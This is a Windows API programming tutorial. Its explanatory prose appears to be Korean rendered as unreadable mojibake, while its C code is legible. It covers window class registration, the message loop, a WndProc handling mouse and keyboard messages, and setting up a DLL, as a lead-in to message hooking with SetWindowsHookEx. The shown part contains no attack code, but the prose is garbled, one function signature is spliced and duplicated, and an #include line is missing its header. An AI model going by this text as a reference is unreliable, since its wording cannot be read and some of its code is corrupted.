// À©µµ¿ì â À­ÂÊ¿¡ ºÙÀÏ ¸Þ´º¸¦ ÁöÁ¤ÇÕ´Ï´Ù. ¿ì¸®´Â ¸Þ´º¸¦ »ç¿ëÇÏÁö ¾Ê½À´Ï´Ù.

wndclass.style = NULL;
// ÀÌ À©µµ¿ìÀÇ ºÎ°¡ÀûÀΠƯ¡À» ÁöÁ¤ÇØ ÁÝ´Ï´Ù.

³¡~! Á¶±Ý º¹ÀâÇÏÁÒ? À§ÀÇ ³»¿ëÀº Ãʱ⠱⺻À̵Ǵ À©µµ¿ì âÀ» ¸¸µé±â À§ÇØ ²À
ÇѹøÀº °ÅÃľßÇÏ´Â ÀÛ¾÷ÀÔ´Ï´Ù. ¿©·¯¹ø À©µµ¿ì ÇÁ·Î±×·¡¹ÖÀ» ÇÏ´Ùº¸¸é À§ ³»¿ëÀ»
¿Ü¿ì°Ô µÇ´Âµ¥¿ä. ÇÑ 2~3´Þ ¾ÈÇÏ´Ù°¡ ´Ù½Ã ÇÏ·Á°íÇÏ¸é ±Ý»õ Àؾî¹ö¸®´Â ±×·± ºÎºÐ
ÀÔ´Ï´Ù. Àú°°Àº °æ¿ì¿£ ¸Å¹ø Ä¡±â ±ÍÂú¾Æ¼­ ¾Æ¿¹ Å×Å©³ëÆ®¿¡ À§ Äڵ带 Àû¾î³õ°í
ÇÊ¿äÇÒ ¶§¸¶´Ù °¡Á®´Ù ¾²°í ÀÖ½À´Ï´Ù.

ÀÌÁ¦ ÀÌ ±¸Á¶Ã¼¸¦ ½ÇÁ¦ À©µµ¿ì Ŭ·¡½º ¸ñ·Ï¿¡ µî·ÏÇØ¾ß ÇÕ´Ï´Ù.

RegisterClass( &wndclass );        // ÇØ´ç À©µµ¿ì Ŭ·¡½º ±¸Á¶Ã¼¸¦ µî·Ï.

¸¶Áö¸·À¸·Î ÇÒ °Ç, Áö±Ý±îÁö ¸¸µç "WG WINDOW"¶ó´Â À̸§ÀÇ À©µµ¿ì âÀ» È­¸é¿¡
»ý¼ºÇÏ´Â °ÍÀÔ´Ï´Ù. ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÕ´Ï´Ù.

hWnd = CreateWindow("WG WINDOW", "¾Ñ½Î ³»°¡ ¸¸µé¾ú´Ù.", WS_OVERLAPPEDWINDOW,
200, 200, 500, 500, NULL, (HMENU)NULL, hInstance, NULL );
// ù ¹øÂ° ÀÎÀÚ´Â À©µµ¿ì¸¦ »ý¼ºÇÒ ¶§ »ç¿ëÇÒ Å¬·¡½º¸í. µÎ ¹øÂ° ÀÎÀڴ âÀÇ
ŸÀÌÆ²¹Ù¿¡ µé¾î°¥ ¹®ÀÚ¿­, ¼¼ ¹øÂ°´Â À©µµ¿ìÀÇ ÇüÅÂ(¿©±â¼± ±âº» ÇüÅÂ), ³×, ´Ù¼¸
¹øÂ°´Â À©µµ¿ì¸¦ Ãâ·ÂÇÒ X, Y ÁÂÇ¥, ±× ´ÙÀ½ µÎ °³´Â âÀÇ Á ¿ì ±æÀÌ, ±× ´ÙÀ½¿£
³× °³´Â ³ªÁß¿¡ ¾µ ÀÏÀÌ ³ª¿Â´Ù¸é ¹è¿ì´Â °É·Î ÇϰڽÀ´Ï´Ù. ÇѲ¨¹ø¿¡ ³Ê¹« ¸¹ÀÌ
¿Ü¿ì¸é ¸Ó¸® ¾ÆÇÁ´Ï±î¿ä.

ShowWindow( hWnd, nShowCmd );        
// À§´Â ¸Þ¸ð¸®¿¡ À©µµ¿ì¸¦ »ý¼º¸¸ ÇÑ °ÍÀ̱¸¿ä, À§ ó·³ ShowWindow ÇÔ¼ö·Î ½ÇÁ¦
È­¸é¿¡ Ãâ·ÂÇØ¾ß ¿ì¸®°¡ º¼ ¼ö ÀÖ½À´Ï´Ù.        

½ÇÁ¦ ¿©±â±îÁö °úÁ¤À» °ÅÄ¡¸é È­¸é¿¡ À©µµ¿ì âÀÌ Çϳª »ý¼ºµË´Ï´Ù.
ÀÌÁ¦ ÀÌ À©µµ¿ì¿¡¼­ ¹ß»ýÇÏ´Â ¸Þ½ÃÁöµéÀ» ó¸®ÇÒ ¼ö ÀÖ°Ô Äڵ带 Ãß°¡ÇսôÙ.

while( GetMessage( &message, NULL, 0, 0 ) ){        
        TranslateMessage( &message );        // ¸Þ½ÃÁö ¹ø¿ª
        DispatchMessage( &message );        // ¸Þ½ÃÁö ó¸®
}

return message.wParam;

À§ ·çƾÀº À©µµ¿ìÀÇ ¸Þ½ÃÁö Å¥¿¡¼­ °¡Àå »óÀ§¿¡ ÀÖ´Â ¸Þ½ÃÁö¸¦ Çϳª »Ì¾Æ¿Í¼­
message º¯¼ö¿¡ ÀúÀåÇÑ ÈÄ, ±×°ÍÀ» ¹ø¿ªÇÑ ´ÙÀ½ ó¸®ÇÏ´Â °úÁ¤À» ´ã°í ÀÖ½À´Ï´Ù.
¸¶Áö¸· ´Ü°èÀΠ󸮶ó´Â °ÍÀÇ ½ÇÁ¦ ÀÛµ¿Àº ´Ü¼øÈ÷ ¾Õ¼­ ÁöÁ¤ÇÑ ¸Þ½ÃÁö ó¸® ÇÔ¼ö·Î
ÀÌ ¸Þ½ÃÁö¸¦ Àü´ÞÇÏ´Â °ÍÀÔ´Ï´Ù. ÀÚ, ±×·³ ÀÌÁ¦ ¸Þ½ÃÁö ó¸® ÇÔ¼ö¸¦ ¸¸µé¾î º¼±î¿ä?

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{                
        switch( iMessage )
        {
        case WM_DESTROY:
                PostQuitMessage( 0 );
                // ÇÁ·Î±×·¥À» Á¾·á.
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
        // À§¿¡¼­ Á¤ÀǵÇÁö ¾ÊÀº ¸Þ½ÃÁö´Â ±âº»À¸·Î ó¸®.
}

À§ ¸Þ½ÃÁö¸¦ ó¸®ÇÏ´Â ÇÔ¼ö´Â CALLBACK ŸÀÔÀ¸·Î ÁöÁ¤µË´Ï´Ù. CALLBACKÀ̶ó´Â °ÍÀº
ÀÌ ÇÔ¼ö°¡ »ç¿ëÀÚ¿¡ÀÇÇØ È£ÃâµÇ´Â °ÍÀÌ ¾Æ´Ñ, ÇÁ·Î±×·¥¿¡ÀÇÇØ È£ÃâµÈ´Ù´Â Àǹ̿¡¼­
ºÙ¿©Áø °ÍÀÔ´Ï´Ù. À§¿¡¼­ DispatchMessage() ÇÔ¼ö¿¡ ÀÇÇØ ÀÌ WndProc ÇÔ¼ö°¡ È£Ãâ
µÈ´Ù°í Çß¾ú½À´Ï´Ù. ÀÌó·³ »ç¿ëÀÚ°¡ ÇÔ¼ö¸¦ È£ÃâÇÏÁö ¾Ê°í, ÇÁ·Î±×·¥ÀÌ ÇÔ¼ö¸¦
È£ÃâÇß½À´Ï´Ù.

ÀÌÁ¦ ÀÎÀÚµéÀ» º¼±î¿ä? hWnd´Â ÀÌ ¸Þ½ÃÁö°¡ ¹ß»ýÇÑ À©µµ¿ì°¡ ¾î¶² °ÍÀ̾ú´ÂÁö¸¦
¸»ÇØÁÝ´Ï´Ù. ±× ´ÙÀ½ iMessage´Â ½ÇÁ¦ ¹ß»ýÇÑ ¸Þ½ÃÁö¸¦ ³ªÅ¸³»¸ç, WM_DESTROYµî
À¸·Î Á¤ÀǵǾîÀÖÁö¸¸, ½ÇÁ¦·Î´Â ´Ü¼øÈ÷ Á¤¼ö °ªÀÔ´Ï´Ù. ¸¶Áö¸· wParam°ú lParamÀº
ÇØ´ç ¸Þ½ÃÁöÀÇ Ãß°¡ ¿É¼ÇÀ¸·Î ÀÌÇØÇÏ½Ã¸é µË´Ï´Ù.

±× ´ÙÀ½¿£ switch ¹®À» »ç¿ëÇÏ¿© ÇØ´ç ¸Þ½ÃÁö°¡ ¾î¶² °ÍÀÎÁö¸¦ ÆÇº°ÇÕ´Ï´Ù.
À§¿¡¼­´Â WM_DESTORY ¸Þ½ÃÁö Çϳª¿¡ ´ëÇÑ Ã³¸®¸¸À» ±¸ÇöÇÏ¿´½À´Ï´Ù. WM_DESTORY
¸Þ½ÃÁö´Â »ç¿ëÀÚ°¡ ÇØ´ç À©µµ¿ì¿¡¼­ alt+f4¸¦ Ŭ¸¯Çϰųª, x¹öưÀ» ´­·¯ À©µµ¿ì¸¦
´Ý°íÀÚÇÒ ¶§ ¹ß»ýÇÕ´Ï´Ù. PostQuitMessage´Â ÇÁ·Î±×·¥À» Á¾·áÇ϶ó´Â Àǹ̸¦ °¡Áø
ÇÔ¼öÀÔ´Ï´Ù. ¸¶Áö¸·À¸·Î, return ... ºÎºÐÀº switch ¹®¿¡¼­ ó¸®ÇÏÁö ¾ÊÀº À©µµ¿ì
¸Þ½ÃÁöµéÀº ±âº» ¼³Á¤À¸·Î ó¸®Ç϶ó´Â ¸í·ÉÀÔ´Ï´Ù. ¿¹¸¦µé¾î _ ¹öưÀ» ´­·¯ À©µµ¿ì
¸¦ ÃÖ¼ÒÈ­½Ã۸é SIZE_MINIMIZED ¸Þ½ÃÁö°¡ ¹ß»ýÇϴµ¥, ÀÌ¿¡´ëÇÑ Ã³¸®¸¦ ¿ì¸®°¡
ÀÏÀÏÀÌ ÇØÁÙ ¼ö ¾ø±â ¶§¹®¿¡ DefWindowProc ÇÔ¼ö¿¡°Ô ¸Ã°Ü ¹ö¸³´Ï´Ù. ÀÌ ¿¹
¿Ü¿¡µµ ¾ÆÁÖ ¸¹Àº ±âº» ¸Þ½ÃÁö¸¦ ÀÌ DefWindowProc ÇÔ¼ö°¡ ó¸®ÇÔÀ¸·Î, ²À ÀØÁö
¸»°í ÀÔ·ÂÇØ ÁÖ¾î¾ß ÇÕ´Ï´Ù.

ÀÚ~~ ¿©±â±îÁöÇØ¼­ ±âº» À©µµ¿ì ¸¸µé±â ½Ç½ÀÀÌ ³¡³µ½À´Ï´Ù. ÁÖ¼® ¶§¹®¿¡ ¼Ò½º°¡
´Ù¼Ò º¹ÀâÇØ º¸À̱⠶§¹®¿¡ ´Ù½Ã Çѹø ¾ËÂ¥¹è±â ¼Ò½º¸¦ º¸¿©µå¸®°Ú½À´Ï´Ù.

===================== ±âº» À©µµ¿ì â Ãâ·Â ÇÁ·Î±×·¥ =========================

#include

LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{                
        switch( iMessage )
        {        
        case WM_DESTROY:
            PostQuitMessage( 0 );
                        break;
        }
        return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
        HWND hWnd;        
        MSG message;
        WNDCLASS wndclass;
        
        wndclass.cbClsExtra = 0;
        wndclass.cbWndExtra = 0;
        wndclass.hbrBackground = (HBRUSH)GetStockObject( GRAY_BRUSH );        
        wndclass.hCursor = LoadCursor( NULL, IDC_ARROW );        
        wndclass.hIcon =  LoadIcon( NULL, IDI_APPLICATION );
        wndclass.hInstance =  hInstance;
        wndclass.lpfnWndProc = (WNDPROC)WndProc;
        wndclass.lpszClassName =  "WG WINDOW";        
        wndclass.lpszMenuName = NULL;
        wndclass.style = NULL;

        RegisterClass( &wndclass );        

        hWnd = CreateWindow("WG WINDOW", "¾Ñ½Î ³»°¡ ¸¸µé¾ú´Ù.", WS_OVERLAPPEDWINDOW,
                        200, 200, 500, 500, NULL, (HMENU)NULL, hInstance, NULL );
        ShowWindow( hWnd, nShowCmd );    
    
        while( GetMessage( &message, NULL, 0, 0 ) ){        
                TranslateMessage( &message );      
                DispatchMessage( &message );    
        }
        return message.wParam;
}

============================================================================

°¢ ¶óÀÎÀÌ ¹«¾ùÀ» ÀǹÌÇÏ´ÂÁö õõÈ÷ µÇ»õ°Ü º¸½Ã±â ¹Ù¶ø´Ï´Ù.
±×·³ ÀÌÁ¦ ÄÄÆÄÀÏÀ» ÇØ¾ß°ÚÁö¿ä? Ctrl + F5 ´ÜÃà۸¦ ÀÌ¿ëÇÏ¿©, ÄÄÆÄÀϰú ½ÇÇàÀ»
µ¿½Ã¿¡ ÇÏ½Ç ¼ö ÀÖ½À´Ï´Ù.



[½ÇÇàÇØº¸±â]

±×·³ À§¿Í °°Àº À©µµ¿ì âÀÌ È­¸é¿¡ Ãâ·ÂµÉ °ÍÀÔ´Ï´Ù. ¼º°øÇϼ̳ª¿ä?
ÀÌÁ¦ ÀÌ À©µµ¿ì âÀÌ ¿©·¯ ´Ù¸¥ ¸Þ½ÃÁöµéÀ» ó¸®Çϵµ·Ï ±¸ÇöÇØ º¸µµ·Ï ÇϰڽÀ´Ï´Ù.
¾Õ¼­ ÀÔ·ÂÇØ º» ¼Ò½º Äڵ忡¼­ ¸Þ½ÃÁö ó¸® °úÁ¤À» ¾î´ÀÁ¤µµ´Â ÀÌÇØÇϼÌÀ¸¸®¶ó
»ý°¢ÇÕ´Ï´Ù. Á¤¸®¸¦ ÇÏÀÚ¸é, óÀ½ ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¸é, while()¹®¿¡ ÀÇÇÏ¿©
¸Þ½ÃÁö Å¥¿¡¼­ ¸Þ½ÃÁö°¡ ÀÖ´ÂÁö¸¦ È®ÀÎÇÕ´Ï´Ù. GetMessage ÇÔ¼ö´Â ¸Þ½ÃÁö Å¥¿¡
¸Þ½ÃÁö°¡ »ý±æ ¶§±îÁö BLOCK µÊÀ¸·Î, while() ¹®ÀÇ °úµµÇÑ ¹«ÇÑ·çÇÁ¿¡ ÀÇÇØ
CPU°¡ ¼Ò¸ðµÇ´Â °ÍÀÌ ¹æÁöµË´Ï´Ù. ¸¸¾à ¸Þ½ÃÁöÅ¥¿¡¼­ ¸Þ½ÃÁö°¡ ¹ß»ýÇϸé, ±×
¸Þ½ÃÁö´Â TranslateMessage ÇÔ¼ö¸¦ °ÅÃÄ ÇÑ ¹ø ÇØ¼®µÈ ÈÄ, DispatchMessage
ÇÔ¼ö¿¡ÀÇÇØ WndProc CALLBACK ÇÔ¼ö·Î Àü´ÞµË´Ï´Ù. ÀÌ CALLBACK ÇÔ¼ö¿¡´Â Àü´Þ
¹ÞÀº ¸Þ½ÃÁö¿¡ ´ëÇÑ Ã³¸®µéÀÌ ±¸ÇöµÇ¾îÀÖÀ¸¸ç, ±¸ÇöµÇÁö ¾ÊÀº ºÎºÐ¿¡ ´ëÇØ¼­´Â
DefWindowProc ÇÔ¼ö°¡ ÀûÀýÇÑ Ã³¸®¸¦ ´ë½ÅÇØ ÁÝ´Ï´Ù. ¿ä¾àÇØ º¸°Ú½À´Ï´Ù.

¡Ý À©µµ¿ì API ÇÁ·Î±×·¥ÀÇ µ¿ÀÛ ·çƾ

1. ÇÁ·Î±×·¥ ½ÇÇà
2. ¹«ÇÑ·çÇÁ·Î ¸Þ½ÃÁö Å¥ÀÇ ³»¿ëÀ» ¹Þ¾Æ¿È
3. ¹Þ¾Æ¿Â ¸Þ½ÃÁö´Â CALLBACK ÇÔ¼ö¿¡ ÀÇÇØ 󸮵Ê
4. 2~3¹ø °úÁ¤ ¹Ýº¹
5. WM_DESTROY ¸Þ½ÃÁö ¹ß»ý ½Ã ÇÁ·Î±×·¥ Á¾·á.

µûÁö°íº¸´Ï ¸Å¿ì °£´ÜÇÏÁö¿ä? ¸ðµç À©µµ¿ì ÇÁ·Î±×·¥µéÀÌ À§ ±âº» »À´ë¸¦ ±âº»À¸·Î
Á¶±Ý¾¿ ÀÀ¿ëµÇ¾î ³ª°£ °ÍÀÔ´Ï´Ù. À§¿¡¼­ °¡Àå ÁßÁ¡À̵Ǵ ºÎºÐÀº 2¹ø°ú 3¹ø Áï,
¸Þ½ÃÁö¸¦ ó¸®ÇÏ´Â ºÎºÐÀ̰ÚÁö¿ä? µû¶ó¼­, À©µµ¿ì ÇÁ·Î±×·¥µéÀ» ¸Þ½ÃÁö ±â¹ÝÀÇ
ÇÁ·Î±×·¥À̶ó°í ºÎ¸£´Â °ÍÀÔ´Ï´Ù.

ÀÚ, ±×·³ ÀÌÁ¦ CALLBACK ÇÔ¼ö¸¦ Á¶±Ý ¼öÁ¤ÇÏ¿© ¿©·¯ Á¾·ùÀÇ ¸Þ½ÃÁö¸¦ ó¸®ÇØ
º¸µµ·Ï ÇϰڽÀ´Ï´Ù. CALLBACK ÇÔ¼ö¸¦ ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÕ´Ï´Ù.

LRESULT CALLBACK WndProc( HWNLRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{                
    switch( iMessage )
    {        
        case WM_CREATE:
                MessageBox(hWnd, "ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ¾ú½À´Ï´Ù!", "¾Ë¸²", MB_OK);
                break;
        case WM_LBUTTONDOWN:
                MessageBox(hWnd, "¿ÞÂÊ ¹öưÀ» ´©¸£¼Ì±º¿ä!", "¾Ë¸²", MB_OK);
                break;
        case WM_RBUTTONDOWN:
                MessageBox(hWnd, "¿À¸¥ÂÊ ¹öưÀ» ´©¸£¼Ì±º¿ä!", "¾Ë¸²", MB_OK);
                break;
        case WM_CHAR:
                MessageBox(hWnd, "Űº¸µå¸¦ ´©¸£¼Ì±º¿ä!", "¾Ë¸²", MB_OK);
                break;
    case WM_DESTROY:
                MessageBox(hWnd, "ÇÁ·Î±×·¥À» Á¾·áÇÕ´Ï´Ù.!", "¾Ë¸²", MB_OK);
        PostQuitMessage( 0 );
                break;
    }
    return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

ÇÁ·Î±×·¥ÀÌ ¾î¶»°Ô º¯ÇÒÁö ½±°Ô ¿¹»óÀÌ µÇÁö¿ä? ´ÙÀ½ ½ÇÇà ÆÄÀÏÀ» ÅëÇÏ¿© È®ÀÎÇØ
º¾½Ã´Ù. º¸Åë *.exe ÆÄÀÏÀ» ½ÇÇàÇÒ ¶§´Â ¹ÙÀÌ·¯½º°¡ ÀǽɵDZ⠸¶·ÃÀε¥, ÇØÄðÀÇ
À̸§À» °É°í °³¹Ì Âɰ¡¸® ¸¸Å­ÀÇ ¹ÙÀÌ·¯½ºµµ ¾øÀ½À» ¸Í¼¼ÇÕ´Ï´Ù. ¹ÏÀ¸½Ã¿À~!

[½ÇÇàÇØº¸±â]

Àç¹ÌÀÖÁö ¾Ê³ª¿ä~? ¾Æ¸¶µµ À©µµ¿ì ÇÁ·Î±×·¡¹Ö¿¡ ´ëÇÑ °ü½ÉÀÌ Á¶±Ý¾¿ »ý±â½ÇÅÙµ¥¿ä.
º»°ÝÀûÀ¸·Î °øºÎÇϽ÷Á¸é °¡³²»çÀÇ Windows API Á¤º¹À̶ó´Â ¼­ÀûÀ» ±¸ÀÔÇϼ¼¿ä.
Windows API¿¡ ´ëÇÑ °ÅÀÇ ¸ðµç °ÍÀ» ´ã°íÀÖ´Â ¸í¼­¶ø´Ï´Ù. ÀÌ Ã¥ ÇѱÇÀ̸é À¢¸¸ÇÑ
À©µµ¿õ¿ä ÇÁ·Î±×·¥Àº ´Ù ¸¸µé ¼ö ÀÖÀ½~! °øºÎÇϽôٰ¡ ¸·È÷´Â°Å ÀÖÀ¸¸é °Ô½ÃÆÇÀ»
ÅëÇØ ¹°¾îº¸½Ã±¸¿ä.

ÀÌÁ¦ ۷αë°ú °ü·ÃµÇ°Ô CALLBACK ÇÔ¼ö¸¦ ¼öÁ¤Çغ¸°í, ±× ´ÙÀ½¿¡ º»°ÝÀûÀÎ ÈÄÅ·
ÀÛ¾÷¿¡ µé¾î°¡µµ·Ï ÇϰڽÀ´Ï´Ù. À§ ÇÔ¼ö¸¦ ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇØ º¸¼¼¿ä.!


LRESULT CALLBACK WndProc( HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam )
{
    char str[100];

    switch( iMessage )
    {        
        case WM_CHAR:                
                wsprintf(str, "%c۸¦ ´©¸£¼Ì½À´Ï´Ù.!", wParam);
                MessageBox(hWnd, str, "¾Ë¸²", MB_OK);
                break;
    case WM_DESTROY:                         
        PostQuitMessage( 0 );
                break;
    }
    return DefWindowProc( hWnd, iMessage, wParam, lParam );
}

ÇÁ·Î±×·¥ÀÌ ¾î¶»°Ô º¯ÇÏ´ÂÁö È®ÀÎÇØ º¾½Ã´Ù. ¾Æ·¡ ÇÁ·Î±×·¥À» ½ÇÇàÇÑ ÈÄ, Űº¸µå¸¦
ÀÔ·ÂÇØ º¸¼¼¿ä.

[½ÇÇàÇØº¸±â]

¿ÀÄÉÀÌ~ ¿©±â±îÁö Àß µû¶ó¿À¼Ì´Ù¸é, À©µµ¿ì ÇÁ·Î±×·¡¹ÖÀÇ ¹ÝÀº ÀÍÈ÷½Å °Ì´Ï´Ù.
Ȥ½Ã ÀÌÇØ°¡Áö ¾Ê´Â ºÎºÐÀÌ ÀÖ´Ù¸é Àú¿¡°Ô Ãß°¡ ¼³¸íÀ» ¿äûÇϽôøÁö, ÇØ´ç ºÎºÐÀ»
¿©·¯¹ø ¹Ýº¹ÇÏ¿© Àо½Ã±â ¹Ù¶ø´Ï´Ù.

ÀÌÁ¦ºÎÅÍ´Â ¸Þ½ÃÁö ÈÄÅ·¿¡ ´ëÇØ °øºÎÇϰڽÀ´Ï´Ù. °úÇö ¸Þ½ÃÁö ÈÄÅ·Àº ¾î¶² ¿ø¸®·Î
ÀÌ·ç¾îÁö´Â °ÍÀϱî¿ä? ¾ÆÀÌ·¯´ÏÇϰԵµ, À©µµ¿ì API¿¡´Â ¸Þ½ÃÁö¸¦ ¸¶À½´ë·Î ÈÄÅ·ÇÒ
¼ö ÀÖµµ·Ï ÇØÁÖ´Â ÇÔ¼ö¸¦ Á¦°øÇØ ÁÝ´Ï´Ù. Á¶±Ý ¿ô±âÁÒ? ³¯ ¸Ô¾îÁÖ¼î~ ÇÏ´Â °Íµµ
¾Æ´Ï°í.. ¹¹ ½ÇÁ¦·Î´Â ¸Þ½ÃÁö ÈÄÅ·À¸·Î ´õ¿í ¹ßÀüµÈ ÇÁ·Î±×·¥À» ¸¸µé¶ó´Â Àǵµ
¿´°ÚÁö¿ä. ¾î·°Ç ÀÌ ÇÔ¼ö·Î ¿ì¸®´Â ¸Å¿ì ½±°Ô ¸Þ½ÃÁöµéÀ» ÈÄÅ·ÇÒ ¼ö ÀÖ½À´Ï´Ù.

±×·³ ÀÌÁ¦ ÈÄÅ·¿¡ ÇÊ¿äÇÑ ¹«±âµéÀ» ¹è¿öº¾½Ã´Ù.

¡Ý ¸Þ½ÃÁö ÈÄÅ·À» À§ÇØ ÇÊ¿äÇÑ Áö½Äµé

1. µ¿Àû ¶óÀ̺귯¸®¸¦ ¸¸µé ¼ö ÀÖ¾î¾ß ÇÕ´Ï´Ù.
2. µ¿Àû ¶óÀ̺귯¸® ¾ÈÀÇ ÇÔ¼ö¸¦ °¡Á®¿Í »ç¿ëÇÒ ¼ö ÀÖ¾î¾ß ÇÕ´Ï´Ù.
3. SetWindowsHookEx ÇÔ¼ö¸¦ »ç¿ëÇÒ ¼ö ÀÖ¾î¾ß ÇÕ´Ï´Ù.

³­µ¥¾øÀÌ ¿Ø µ¿Àû ¶óÀ̺귯¸®~? À©µµ¿ì¿¡¼­ ½ÇÇàµÈ ÇÁ·Î¼¼½ºµéÀº ¸®´ª½º¿¡¼­¿Í
¸¶Âù°¡Áö·Î º¸È£ ¸ðµå¿¡ÀÇÇØ °¢ÀÚ µ¶¸³ÀûÀÎ ¸Þ¸ð¸® °ø°£À» °®°ÔµË´Ï´Ù. Áï, °¡»ó
¸Þ¸ð¸®¸¦ ü°è¸¦ »ç¿ëÇÑ´Ù´Â ¸»ÀÔ´Ï´Ù. ¿ì¸®´Â Á¶±Ý ÀÖ´Ù°¡ SetWindowsHookEx
ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© ƯÁ¤ ¸Þ½ÃÁö°¡ ¹ß»ýÇÒ ¶§, ¿ì¸®°¡ ÀÛ¼ºÇÑ Æ¯Á¤ ÇÔ¼ö°¡ È£Ãâ
µÇµµ·Ï ÈÄÅ·ÇÒ °ÍÀÔ´Ï´Ù. ÇÏÁö¸¸, °¡»ó ¸Þ¸ð¸® ü°è¿¡¼­ ¾î¶»°Ô ´Ù¸¥ ÇÁ·Î¼¼½º
ÀÇ ÇÔ¼ö¸¦ È£ÃâÇÒ ¼ö ÀÖÀ»±î¿ä? ÀÏ´Ü °á·ÐÀº ºÒ°¡´ÉÇÏ´Ù´Â °ÍÀÔ´Ï´Ù. ¸®´ª½º¿¡¼­¿Í
¸¶Âù°¡Áö·Î ÇÑ ÇÁ·Î¼¼½º ³»¿¡¼­ ´Ù¸¥ ÇÁ·Î¼¼½ºÀÇ º¯¼ö³ª ÇÔ¼ö¿¡ Á¢±ÙÇÏ´Â °ÍÀº
ºÒ°¡´ÉÇÕ´Ï´Ù. ±×·¡¼­ ±×¿¡ µû¸¥ ¿ìȸ ¹æ¹ýÀ¸·Î ¹Ù·Î µ¿Àû ¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â
°ÍÀÔ´Ï´Ù. ƯÁ¤ÇÑ ÇÑ ÇÁ·Î±×·¥ÀÌ µ¿Àû ¶óÀ̺귯¸®¸¦ µî·ÏÇϸé, ±× µî·ÏµÈ ¶óÀ̺ê
·¯¸®°¡ ÀÌÈÄ¿¡ ½ÇÇàµÇ´Â ¸ðµç ÇÁ·Î¼¼½º¿¡ Àû¿ëÀÌ µË´Ï´Ù. ¹Ù·Î ÀÌ Æ¯Â¡À» ÀÌ¿ëÇϸé
ÇÑ ÇÁ·Î¼¼½º°¡ ÀÚ½ÅÀÇ Äڵ忡 Æ÷ÇԵǾîÀÖÁö ¾ÊÀº ÇÔ¼ö¸¦ ½ÇÇàÇÒ ¼ö ÀְԵǴ °Í
ÀÔ´Ï´Ù. ¹é°ßÀÌ ºÒ¿©ÀÏÇà. ÀÌÁ¦ µ¿Àû ¶óÀ̺귯¸®¸¦ Á¦ÀÛÇϰí, ¶Ç »ç¿ëÇÏ´Â ½Ç½ÀÀ»
½ÃÀÛÇØº¾½Ã´Ù.



ÀÏ´Ü, µ¿Àû ¶óÀ̺귯¸® ÇÁ·ÎÁ§Æ®¸¦ »ý¼ºÇÕ´Ï´Ù. File - New - Projects ÅÇ¿¡¼­
Win32 Dynamic-Link Library¸¦ ¼±ÅÃÇÑ ÈÄ, À̸§Àº DLL TEST¶ó°í Áþ½À´Ï´Ù.
±× ´ÙÀ½¿£ FINISH¿Í OK¸¦ ¼ø¼­´ë·Î Ŭ¸¯ÇÏ¸é µÇ°í, File - New - Files¿¡¼­
C++ Source FileÀ» ¼±ÅÃÇÑ ´ÙÀ½ mainÀ» ¿À¸¥ÂÊ¿¡ ÀÔ·ÂÇÕ´Ï´Ù.



ÀÌÁ¦ ¶óÀ̺귯¸® Äڵ带 ÀÔ·ÂÇØ ³ª°¡´Âµ¥, ´ÙÀ½ÀÇ Äڵ带 º¸¸é ÇÑ ´«¿¡ ¹Ù·Î
¾î¶² ³»¿ëÀÇ µ¿Àû ¶óÀ̺귯¸®ÀÎÁö ÃßÃøÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

#include

__declspec(dllexport) int WiseGuys(int a, int b)
{
        return a+b;
}

WiseGuys¶ó´Â À̸§ÀÇ ÇÔ¼ö¸¦ ¸¸µé¾úÀ¸¸ç, À̰ÍÀº µ¿Àû ¶óÀ̺귯¸® ¾È¿¡¼­ ÀÛµ¿
ÇÕ´Ï´Ù. ÇÏÁö¸¸, ¿©±â¼­ ³¡³ª´Â°Ô ¾Æ´Ï°í, ÀÌ·± ÇÔ¼ö°¡ ÀÖ´Ù´Â »ç½ÇÀ» *.def
ÆÄÀÏ¿¡ Á¤ÀÇÇØ ÁÖ¾î¾ß ÇÕ´Ï´Ù. ´ÙÀ½°ú °°Àº °úÁ¤À» °ÅĨ´Ï´Ù.

WorkSpace À©µµ¿ì¿¡¼­ Source Files¸¦ Ŭ¸¯Çϰí, ¿À¸¥ÂÊ ¸¶¿ì½º ¹öưÀ» ´­·¯
Add Files to Folder¸¦ ¼±ÅÃÇÕ´Ï´Ù.



±× ´ÙÀ½¿£ ÆÄÀÏ À̸§ ºÎºÐ¿¡ test.def¶ó´Â ÆÄÀϸíÀ» ÀÔ·ÂÇϰí, OK ¹öưÀ» Ŭ¸¯
ÇÕ´Ï´Ù. ±×·³ ÀÌ·¯ÇÑ ÆÄÀÏÀÌ ¾ø´Âµ¥ °è¼Ó ÁøÇàÇϰڳĴ ÀǹÌÀÇ Ã¢ÀÌ Ãâ·ÂµÇ°í,
¿¹(Y)¸¦ Ŭ¸¯ÇÏ¸é °è¼Ó ÁøÇàµË´Ï´Ù. À̹ø¿£ WorkSpace ºÎºÐ¿¡ »õ·Î »ý¼ºµÈ
test.def¸¦ ´õºí Ŭ¸¯ÇÕ´Ï´Ù. ¶Ç À̹ø¿£ ÀÌ ÆÄÀÏÀ» »ý¼ºÇϰڳĴ âÀÌ Ãâ·ÂµË´Ï´Ù.
¿ª½Ã ¿¹(Y)¸¦ Ŭ¸¯Çϸé .def ÆÄÀÏÀ» ¸¸µé Áغñ°¡ ¿Ï·áµË´Ï´Ù. ÀÌÁ¦ ÀÌ °÷¿¡ ´ÙÀ½°ú
°°ÀÌ ÀÔ·ÂÇÕ´Ï´Ù.

LIBRARY                TEST
EXPORTS
        WiseGuys        @1

ÀÌ·¸°Ô ÀÔ·ÂÇÏ¿´´Ù¸é ÀÌÁ¦ µ¿Àû ¶óÀ̺귯¸®¸¦ ÄÄÆÄÀÏÇÒ Áغñ°¡ ¿Ï·áµÈ °ÍÀÔ´Ï´Ù.
